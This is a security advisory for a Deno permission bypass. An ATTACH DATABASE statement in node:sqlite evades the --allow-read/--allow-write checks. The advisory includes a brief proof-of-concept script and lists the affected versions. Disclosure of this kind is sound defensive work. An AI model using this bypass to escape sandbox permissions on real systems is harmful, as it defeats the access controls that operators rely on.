GHSA-8vxj-4cph-c596MediumCVSS 9.1

Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

Published
June 4, 2025
Last Modified
December 31, 2025

🔗 CVE IDs covered (1)

📋 Description

Summary

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js

🎯 Affected products2

  • rust/deno:>= 2.2.0, < 2.2.5
  • rust/deno_node:>= 0.129.0, < 0.134.0

🔗 References (5)